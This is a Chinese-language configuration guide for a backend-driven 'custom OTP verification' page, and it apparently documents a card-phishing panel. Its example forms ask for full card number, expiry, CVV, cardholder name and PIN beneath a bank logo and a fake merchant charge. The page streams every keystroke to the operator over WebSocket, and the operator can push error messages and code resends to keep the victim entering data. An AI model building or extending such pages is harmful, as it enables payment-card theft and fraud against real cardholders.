540 lines
24 KiB
Markdown
540 lines
24 KiB
Markdown
# 自定义OTP验证配置文档
|
||
|
||
## 概述
|
||
此文档用于配置前端自定义OTP验证页面。后端需要返回 `customOtpData` 配置对象,前端将根据配置自动渲染验证表单。
|
||
|
||
---
|
||
|
||
## 配置结构
|
||
|
||
### 基础配置对象
|
||
```typescript
|
||
interface ValidationConfig {
|
||
type: 'customValid' // 必填:验证类型,使用 'customValid' 启用完全自定义
|
||
name?: string // 可选:配置名称
|
||
pageTitle?: string // 可选:页面标题
|
||
pageContent: string // 必填:HTML内容,包含自定义表单
|
||
customStyles?: string // 可选:自定义CSS样式
|
||
buttonColor?: string // 可选:默认按钮颜色
|
||
errorMessage?: string // 可选:默认错误提示
|
||
showTop?: boolean // 可选:是否显示顶部银行logo和卡片类型
|
||
imageUrl?: string // 可选:自定义logo图片URL
|
||
showCard?: boolean // 可选:是否显示卡号后4位
|
||
merchant?: string // 可选:商户名称(可在pageContent中用${merchant}引用)
|
||
amount?: string // 可选:支付金额(可在pageContent中用${payment}引用)
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
## HTML元素规范
|
||
|
||
### 1. 输入框(Input)
|
||
**必需属性:**
|
||
- `class="custom-input"` - 必须添加此class以自动绑定事件
|
||
- `data-field="字段名"` - 标识输入框字段(可以是任意名称,不限于input1/input2)
|
||
|
||
**可选属性:**
|
||
- `data-verify-key="自定义字段名"` - 自定义后端接收的字段名
|
||
- 不设置时,默认使用 `data-field` 的值作为后端字段名
|
||
- 设置后将使用 `data-verify-key` 的值
|
||
- `required` - 标记为必填项
|
||
- 提交时会自动验证,未填写会显示浏览器原生提示气泡
|
||
- 自动聚焦到第一个未填写的输入框
|
||
|
||
**重要:支持任意数量的输入框,不限于2个!**
|
||
|
||
**示例:**
|
||
```html
|
||
<!-- 方式1:使用 data-field 作为默认字段名 -->
|
||
<input type="text"
|
||
class="custom-input"
|
||
data-field="smsCode"
|
||
placeholder="请输入短信验证码">
|
||
|
||
<!-- 方式2:使用 data-verify-key 自定义后端字段名 -->
|
||
<input type="text"
|
||
class="custom-input"
|
||
data-field="input1"
|
||
data-verify-key="smsVerifyCode"
|
||
placeholder="请输入短信验证码">
|
||
|
||
<input type="text"
|
||
class="custom-input"
|
||
data-field="input2"
|
||
data-verify-key="emailVerifyCode"
|
||
placeholder="请输入邮箱验证码">
|
||
|
||
<!-- 方式3:多个输入框(支持任意数量) -->
|
||
<input type="text" class="custom-input" data-field="cardNumber" placeholder="卡号">
|
||
<input type="text" class="custom-input" data-field="expiryDate" placeholder="有效期">
|
||
<input type="text" class="custom-input" data-field="cvv" placeholder="CVV">
|
||
<input type="password" class="custom-input" data-field="pin" placeholder="PIN码">
|
||
|
||
<!-- 方式4:必填输入框(添加required属性) -->
|
||
<input type="text"
|
||
class="custom-input"
|
||
data-field="verifyCode"
|
||
placeholder="验证码"
|
||
required>
|
||
<!-- 提交时会自动验证,未填写会显示错误并聚焦 -->
|
||
```
|
||
|
||
### 2. 按钮(Button)
|
||
**必需属性:**
|
||
- `class="custom-button"` - 必须添加此class以自动绑定事件
|
||
- `data-action="submit"` 或 `"resend"` - 标识按钮操作类型
|
||
- `submit`: 提交表单
|
||
- `resend`: 重新发送验证码
|
||
|
||
**可选属性(仅resend按钮):**
|
||
- `data-countdown="true"` - 启用倒计时(默认值,可省略)
|
||
- `data-countdown="false"` - 禁用倒计时,允许连续点击
|
||
|
||
**重发按钮特性:**
|
||
|
||
启用倒计时时(`data-countdown="true"` 或不设置):
|
||
- ✅ 自动倒计时:点击后自动进入60秒倒计时
|
||
- ✅ 自动禁用:倒计时期间按钮禁用,无法重复点击
|
||
- ✅ 文本更新:倒计时显示 `00:59`、`00:58`...直到 `00:00`
|
||
- ✅ 自动恢复:倒计时结束后自动恢复原始文本和可点击状态
|
||
|
||
禁用倒计时时(`data-countdown="false"`):
|
||
- ✅ 立即发送:点击后立即发送请求
|
||
- ✅ 可连续点击:没有倒计时限制,可以多次点击
|
||
- ✅ 适用场景:需要快速重试或测试时使用
|
||
|
||
**示例:**
|
||
```html
|
||
<!-- 提交按钮 -->
|
||
<button type="button"
|
||
class="custom-button"
|
||
data-action="submit">
|
||
提交验证码
|
||
</button>
|
||
|
||
<!-- 重发按钮(默认启用倒计时) -->
|
||
<button type="button"
|
||
class="custom-button"
|
||
data-action="resend">
|
||
重新发送
|
||
</button>
|
||
<!-- 点击后: 00:60 → 00:59 → ... → 00:01 → 重新发送 -->
|
||
|
||
<!-- 重发按钮(显式启用倒计时) -->
|
||
<button type="button"
|
||
class="custom-button"
|
||
data-action="resend"
|
||
data-countdown="true">
|
||
重新发送验证码
|
||
</button>
|
||
|
||
<!-- 重发按钮(禁用倒计时,可连续点击) -->
|
||
<button type="button"
|
||
class="custom-button"
|
||
data-action="resend"
|
||
data-countdown="false">
|
||
立即重发
|
||
</button>
|
||
<!-- 点击后立即发送,无倒计时,可连续点击 -->
|
||
```
|
||
|
||
### 3. 错误信息容器(Error Message)
|
||
**必需属性:**
|
||
- `class="custom-error-message"` - 必须添加此class以自动显示错误
|
||
|
||
**特性:**
|
||
- 自动显示/隐藏:有错误时自动显示,无错误时自动隐藏
|
||
- 自动更新内容:错误信息会自动填充到所有带此class的元素中
|
||
|
||
**示例:**
|
||
```html
|
||
<div class="custom-error-message"></div>
|
||
```
|
||
|
||
---
|
||
|
||
## 配置示例
|
||
|
||
### 示例1:基础短信验证码表单
|
||
```json
|
||
{
|
||
"type": "customValid",
|
||
"name": "SMS验证",
|
||
"pageTitle": "短信验证",
|
||
"pageContent": "<div style='text-align: center;'><p style='margin-bottom: 20px;'>请输入发送到您手机的验证码</p><div style='margin-bottom: 15px;'><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='6位验证码' style='width: 200px; padding: 10px; border: 1px solid #ddd; border-radius: 5px; text-align: center; font-size: 16px;'></div><div class='custom-error-message' style='color: #dc2626; margin: 10px 0; min-height: 20px;'></div><button type='button' class='custom-button' data-action='submit' style='background: #67C23A; color: white; padding: 12px 40px; border: none; border-radius: 6px; cursor: pointer; font-size: 14px;'>提交验证</button></div>",
|
||
"customStyles": ".custom-input:focus { border-color: #67C23A; outline: none; box-shadow: 0 0 0 2px rgba(103, 194, 58, 0.2); } .custom-button:hover { opacity: 0.9; }",
|
||
"showTop": true,
|
||
"errorMessage": "验证码错误,请重试"
|
||
}
|
||
```
|
||
|
||
### 示例2:双重验证(短信+邮箱)
|
||
```json
|
||
{
|
||
"type": "customValid",
|
||
"name": "双重验证",
|
||
"pageTitle": "安全验证",
|
||
"pageContent": "<div style='max-width: 400px; margin: 0 auto;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>短信验证码</label><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='请输入短信验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>邮箱验证码</label><input type='text' class='custom-input' data-field='input2' data-verify-key='emailCode' placeholder='请输入邮箱验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 15px 0; min-height: 24px;'></div><div style='display: flex; gap: 12px; justify-content: center;'><button type='button' class='custom-button' data-action='submit' style='flex: 1; background: #409EFF; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>确认提交</button><button type='button' class='custom-button' data-action='resend' style='flex: 1; background: #E6A23C; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>重新发送</button></div></div>",
|
||
"customStyles": ".custom-input:focus { border-color: #409EFF; outline: none; } .custom-button:active { transform: scale(0.98); }",
|
||
"showTop": true,
|
||
"merchant": "示例商户",
|
||
"amount": "¥999.00"
|
||
}
|
||
```
|
||
|
||
### 示例3:快速重发模式(禁用倒计时)
|
||
```json
|
||
{
|
||
"type": "customValid",
|
||
"name": "快速验证",
|
||
"pageTitle": "验证码登录",
|
||
"pageContent": "<div style='max-width: 350px; margin: 0 auto; padding: 20px;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #495057; font-weight: 500;'>验证码</label><input type='text' class='custom-input' data-field='verifyCode' placeholder='6位验证码' maxlength='6' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 16px; text-align: center; letter-spacing: 4px;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600; margin-bottom: 12px;'>立即登录</button><button type='button' class='custom-button' data-action='resend' data-countdown='false' style='width: 100%; background: transparent; color: #007bff; padding: 10px; border: 1px solid #007bff; border-radius: 6px; cursor: pointer; font-size: 14px;'>点击重新发送验证码</button></div>",
|
||
"customStyles": ".custom-input:focus { border-color: #28a745 !important; } .custom-button[data-action='resend']:hover { background: #007bff; color: white; }",
|
||
"showTop": false
|
||
}
|
||
```
|
||
**说明:** 此示例中重发按钮设置了 `data-countdown='false'`,用户可以连续点击重发,适合测试或需要快速重试的场景。
|
||
|
||
### 示例4:多输入框 - 完整卡片信息录入
|
||
```json
|
||
{
|
||
"type": "customValid",
|
||
"name": "卡片信息验证",
|
||
"pageTitle": "请输入卡片完整信息",
|
||
"pageContent": "<div style='max-width: 450px; margin: 0 auto; padding: 20px;'><div style='background: #f8f9fa; padding: 20px; border-radius: 10px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>卡号 (Card Number)</label><input type='text' class='custom-input' data-field='cardNumber' placeholder='1234 5678 9012 3456' maxlength='19' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='display: flex; gap: 12px; margin-bottom: 15px;'><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>有效期 (MM/YY)</label><input type='text' class='custom-input' data-field='expiryDate' placeholder='12/25' maxlength='5' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>CVV</label><input type='password' class='custom-input' data-field='cvv' placeholder='123' maxlength='3' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>持卡人姓名 (Cardholder Name)</label><input type='text' class='custom-input' data-field='cardholderName' placeholder='JOHN DOE' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; text-transform: uppercase;'></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>PIN码 (4位)</label><input type='password' class='custom-input' data-field='pin' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; letter-spacing: 8px; text-align: center;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600;'>确认提交</button></div></div>",
|
||
"customStyles": ".custom-input:focus { border-color: #28a745 !important; box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); } .custom-button:hover { background: #218838; }",
|
||
"showTop": true
|
||
}
|
||
```
|
||
|
||
### 示例5:银行PIN码验证
|
||
```json
|
||
{
|
||
"type": "customValid",
|
||
"name": "PIN验证",
|
||
"pageTitle": "请输入PIN码",
|
||
"pageContent": "<div style='background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); padding: 30px; border-radius: 12px; color: white;'><div style='text-align: center; margin-bottom: 25px;'><h3 style='margin: 0 0 10px 0;'>交易确认</h3><p style='margin: 0; opacity: 0.9;'>商户: ${merchant}</p><p style='margin: 5px 0 0 0; font-size: 24px; font-weight: bold;'>${payment}</p></div><div style='background: white; padding: 20px; border-radius: 8px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 8px; color: #333; font-size: 14px;'>4位PIN码</label><input type='password' class='custom-input' data-field='input1' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 15px; border: 2px solid #e5e7eb; border-radius: 8px; font-size: 18px; text-align: center; letter-spacing: 8px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #10b981; color: white; padding: 15px; border: none; border-radius: 8px; cursor: pointer; font-size: 16px; font-weight: 600; box-shadow: 0 4px 6px rgba(16, 185, 129, 0.3);'>确认支付</button></div></div>",
|
||
"customStyles": ".custom-input:focus { border-color: #10b981; box-shadow: 0 0 0 3px rgba(16, 185, 129, 0.1); } .custom-button:hover { background: #059669; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(16, 185, 129, 0.4); }",
|
||
"showTop": false,
|
||
"merchant": "Apple Store",
|
||
"amount": "$299.99"
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
## 动态变量
|
||
|
||
可在 `pageContent` 中使用以下变量,前端会自动替换:
|
||
|
||
| 变量 | 说明 | 示例 |
|
||
|------|------|------|
|
||
| `${merchant}` | 商户名称 | 从配置中的 `merchant` 字段获取 |
|
||
| `${payment}` 或 `${price}` | 支付金额 | 从配置中的 `amount` 字段获取 |
|
||
| `${card}` | 卡号后4位 | 自动从用户卡号中提取 |
|
||
| `${phone}` | 手机号后4位 | 从本地存储手机号中提取后4位 |
|
||
| `${phoneFull}` | 完整手机号 | 从本地存储中获取 |
|
||
| `${date}` | 当前日期 | 自动生成当前日期 |
|
||
|
||
**使用示例:**
|
||
```html
|
||
<p>商户: ${merchant}</p>
|
||
<p>金额: ${payment}</p>
|
||
<p>卡号: **** ${card}</p>
|
||
<p>手机号后4位: ${phone}</p>
|
||
<p>完整手机号: ${phoneFull}</p>
|
||
```
|
||
|
||
---
|
||
|
||
## 数据流程
|
||
|
||
## 提交Loading(纯HTML)
|
||
|
||
你可以直接在 `pageContent` 里定义 loading 节点,提交时前端会自动显示。
|
||
|
||
支持两种标记方式(任选其一):
|
||
|
||
- `data-submit-loading`
|
||
- `class="custom-submit-loading"`
|
||
|
||
建议初始隐藏(`display:none`),并可用 `data-loading-display` 指定显示时的 `display` 值。
|
||
|
||
```html
|
||
<div data-submit-loading data-loading-display="flex" style="display:none;position:fixed;inset:0;background:rgba(0,0,0,.45);z-index:9999;align-items:center;justify-content:center;color:#fff;">
|
||
<div style="background:#111;padding:12px 16px;border-radius:8px;">Loading...</div>
|
||
</div>
|
||
```
|
||
|
||
说明:
|
||
|
||
- 提交 `submit_card` 前自动显示。
|
||
- 收到后端 `custom-otp-valid` 消息后自动隐藏。
|
||
- 如果未定义上述标记,则继续使用系统默认 loading。
|
||
|
||
### 1. 前端接收配置
|
||
后端返回 `customOtpData` 配置对象,前端根据 `type: 'customValid'` 渲染自定义表单。
|
||
|
||
### 2. 用户输入
|
||
- 用户在 `class="custom-input"` 的输入框中输入
|
||
- 前端自动调用 `inputChange` 函数,实时发送到后端
|
||
- 发送格式:
|
||
```javascript
|
||
{
|
||
event: "input_card",
|
||
content: {
|
||
key: "smsCode", // 来自 data-verify-key,默认为 verifyCode1/verifyCode2
|
||
value: "用户输入的内容"
|
||
}
|
||
}
|
||
```
|
||
|
||
### 3. 用户提交
|
||
- 用户点击 `data-action="submit"` 的按钮
|
||
- 前端自动收集所有 `class="custom-input"` 的输入框值
|
||
- 发送WebSocket消息:
|
||
```javascript
|
||
// 例1:2个输入框
|
||
{
|
||
event: "submit_card",
|
||
content: {
|
||
type: "submitCustomOtpValid",
|
||
formData: {
|
||
smsCode: "123456",
|
||
emailCode: "789012"
|
||
}
|
||
}
|
||
}
|
||
|
||
// 例2:5个输入框(完整卡片信息)
|
||
{
|
||
event: "submit_card",
|
||
content: {
|
||
type: "submitCustomOtpValid",
|
||
formData: {
|
||
cardNumber: "1234567890123456",
|
||
expiryDate: "12/25",
|
||
cvv: "123",
|
||
cardholderName: "JOHN DOE",
|
||
pinCode: "1234" // 使用了 data-verify-key="pinCode"
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
**重要:**`formData` 中的字段名是每个输入框的 `data-verify-key`(如果有)或 `data-field` 的值
|
||
|
||
### 4. 错误处理
|
||
- 后端验证失败时,发送事件 `custom-otp-valid`
|
||
- 消息格式:
|
||
```javascript
|
||
{
|
||
message2: "错误提示文本"
|
||
}
|
||
```
|
||
- 前端自动将错误显示在所有 `class="custom-error-message"` 的元素中
|
||
|
||
### 5. 重新发送
|
||
- 用户点击 `data-action="resend"` 的按钮
|
||
- 前端自动进入60秒倒计时,按钮文本变为 `00:60`
|
||
- 倒计时期间按钮禁用,无法重复点击
|
||
- 前端发送WebSocket消息:
|
||
```javascript
|
||
{
|
||
event: "page_type",
|
||
content: {
|
||
pageType: "customOtpValid",
|
||
pageTitle: "配置名称",
|
||
resultType: "resendCode",
|
||
customType: "customValid"
|
||
}
|
||
}
|
||
```
|
||
- 60秒后按钮自动恢复为原始文本(如"重新发送"),可再次点击
|
||
|
||
---
|
||
|
||
## 字段映射说明
|
||
|
||
### 基本原则
|
||
**支持任意数量和名称的输入框!**
|
||
|
||
### 默认字段映射
|
||
当只设置 `data-field` 时,后端接收的字段名就是 `data-field` 的值:
|
||
- `data-field="smsCode"` → 后端接收:`smsCode`
|
||
- `data-field="emailCode"` → 后端接收:`emailCode`
|
||
- `data-field="cardNumber"` → 后端接收:`cardNumber`
|
||
- `data-field="pin"` → 后端接收:`pin`
|
||
|
||
### 自定义字段映射
|
||
通过 `data-verify-key` 属性可以覆盖后端接收的字段名:
|
||
|
||
```html
|
||
<!-- 例1:使用 data-field 作为后端字段名 -->
|
||
<input class="custom-input" data-field="smsCode">
|
||
<!-- 后端接收:smsCode -->
|
||
|
||
<!-- 例2:使用 data-verify-key 覆盖字段名 -->
|
||
<input class="custom-input"
|
||
data-field="input1"
|
||
data-verify-key="customSmsCode">
|
||
<!-- 后端接收:customSmsCode -->
|
||
|
||
<!-- 例3:多个输入框各自有独立字段名 -->
|
||
<input class="custom-input" data-field="cardNum">
|
||
<input class="custom-input" data-field="expiry">
|
||
<input class="custom-input" data-field="cvvCode">
|
||
<input class="custom-input" data-field="pinNumber" data-verify-key="pin">
|
||
<!-- 后端接收:cardNum, expiry, cvvCode, pin -->
|
||
```
|
||
|
||
**实时输入事件:**
|
||
```javascript
|
||
// 例1:只有 data-field
|
||
<input class="custom-input" data-field="smsCode">
|
||
// 发送:
|
||
{
|
||
event: "input_card",
|
||
content: {
|
||
key: "smsCode", // 直接使用 data-field 的值
|
||
value: "123456"
|
||
}
|
||
}
|
||
|
||
// 例2:有 data-verify-key
|
||
<input class="custom-input" data-field="input1" data-verify-key="customCode">
|
||
// 发送:
|
||
{
|
||
event: "input_card",
|
||
content: {
|
||
key: "customCode", // 使用 data-verify-key 的值
|
||
value: "123456"
|
||
}
|
||
}
|
||
|
||
// 例3:多个输入框
|
||
<input class="custom-input" data-field="card">
|
||
<input class="custom-input" data-field="cvv">
|
||
<input class="custom-input" data-field="pin">
|
||
// 分别发送:
|
||
// { event: "input_card", content: { key: "card", value: "..." } }
|
||
// { event: "input_card", content: { key: "cvv", value: "..." } }
|
||
// { event: "input_card", content: { key: "pin", value: "..." } }
|
||
```
|
||
|
||
---
|
||
|
||
## 最佳实践
|
||
|
||
### 1. CSS样式建议
|
||
- 使用 `customStyles` 字段添加响应式设计
|
||
- 建议使用相对单位(%、em、rem)而非固定像素
|
||
- 为移动端适配添加媒体查询
|
||
|
||
### 2. 用户体验
|
||
- 输入框应有明确的 `placeholder` 提示
|
||
- 错误信息容器预留足够空间(避免布局跳动)
|
||
- 按钮应有明显的交互反馈(hover、active状态)
|
||
|
||
### 3. 安全考虑
|
||
- PIN码输入使用 `type="password"`
|
||
- 敏感信息使用 `maxlength` 限制长度
|
||
- 建议后端对提交频率做限制
|
||
|
||
### 4. 响应式设计示例
|
||
```css
|
||
/* 添加到 customStyles 中 */
|
||
@media (max-width: 768px) {
|
||
.custom-input {
|
||
font-size: 16px !important; /* 防止iOS自动缩放 */
|
||
}
|
||
.custom-button {
|
||
padding: 15px !important;
|
||
font-size: 16px !important;
|
||
}
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
## 调试技巧
|
||
|
||
### 前端控制台日志
|
||
前端会输出以下调试信息:
|
||
- `绑定事件尝试 - 自定义输入框数: X, 自定义按钮数: Y`
|
||
- `绑定自定义输入框: [id], field: [fieldName]`
|
||
- `自定义输入框[fieldName]输入: [value], verifyKey: [key]`
|
||
- `自定义按钮点击, action: [action]`
|
||
|
||
### 检查清单
|
||
1. ✅ 输入框是否有 `class="custom-input"` 和 `data-field`
|
||
2. ✅ 按钮是否有 `class="custom-button"` 和 `data-action`
|
||
3. ✅ 错误容器是否有 `class="custom-error-message"`
|
||
4. ✅ 自定义字段名是否设置了 `data-verify-key`
|
||
5. ✅ CSS样式是否正确加载到 `customStyles`
|
||
|
||
---
|
||
|
||
## 常见问题
|
||
|
||
**Q: 如何添加多个输入框?**
|
||
A: 直接添加多个 `<input>` 标签,每个都添加 `class="custom-input"` 和独立的 `data-field`,不限数量!
|
||
```html
|
||
<input class="custom-input" data-field="field1">
|
||
<input class="custom-input" data-field="field2">
|
||
<input class="custom-input" data-field="field3">
|
||
<input class="custom-input" data-field="field4">
|
||
<!-- 可以继续添加更多... -->
|
||
```
|
||
|
||
**Q: 输入框没有反应?**
|
||
A: 检查是否同时添加了 `class="custom-input"` 和 `data-field` 属性
|
||
|
||
**Q: required属性如何使用?**
|
||
A: 直接在输入框上添加 `required` 属性即可:
|
||
```html
|
||
<input type="text" class="custom-input" data-field="code" required>
|
||
```
|
||
- 提交时自动验证所有 `required` 输入框
|
||
- 使用浏览器原生提示气泡显示错误
|
||
- 自动聚焦到第一个未填写的输入框
|
||
|
||
**Q: 错误信息不显示?**
|
||
A: 确保元素有 `class="custom-error-message"`,前端会自动控制显示/隐藏
|
||
|
||
**Q: 如何自定义后端接收的字段名?**
|
||
A: 在输入框上添加 `data-verify-key="yourCustomKey"` 属性
|
||
|
||
**Q: 按钮点击没有效果?**
|
||
A: 检查是否添加了 `class="custom-button"` 和 `data-action="submit/resend"`
|
||
|
||
**Q: 重发按钮能连续点击吗?**
|
||
A: 默认不能。如需连续点击,添加 `data-countdown="false"` 属性即可禁用倒计时。
|
||
```html
|
||
<!-- 不能连续点击(默认) -->
|
||
<button class="custom-button" data-action="resend">重新发送</button>
|
||
|
||
<!-- 可以连续点击 -->
|
||
<button class="custom-button" data-action="resend" data-countdown="false">立即重发</button>
|
||
```
|
||
|
||
**Q: 如何修改倒计时时长?**
|
||
A: 目前倒计时固定为60秒。如需修改,需要在前端代码中修改 `initialTime` 变量(CustomOtpView.vue 第728行)
|
||
|
||
**Q: 样式不生效?**
|
||
A: 将CSS代码放入 `customStyles` 字段,确保选择器正确
|
||
|
||
---
|
||
|
||
## 技术支持
|
||
|
||
如有问题,请检查:
|
||
1. WebSocket连接是否正常
|
||
2. 浏览器控制台是否有错误信息
|
||
3. 配置JSON格式是否正确
|
||
4. HTML标签是否闭合完整
|
||
|
||
前端组件文件:`CustomOtpView.vue`
|
||
关键函数:`bindInputEvents()`, `handleCustomInputEvent()`, `handleCustomButtonEvent()`
|